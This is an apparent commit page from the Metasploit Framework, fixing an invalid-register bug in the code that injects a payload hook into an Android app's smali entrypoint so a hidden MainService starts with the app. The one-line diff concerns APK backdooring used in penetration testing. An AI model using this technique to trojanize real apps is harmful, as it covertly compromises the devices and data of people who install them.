fix #7617, invalid register when hooking smali code

bug/bundler_fix
Tim 2017-01-19 14:52:30 +07:00
parent b94eefe724
commit f8f764aefc
No known key found for this signature in database
GPG Key ID: 62361A8B17EEED19
1 changed files with 1 additions and 1 deletions

View File

@ -227,7 +227,7 @@ class Msf::Payload::Apk
end
payloadhook = entrypoint + %Q^
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
invoke-static {}, L#{package_slash}/MainService;->start()V
^
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)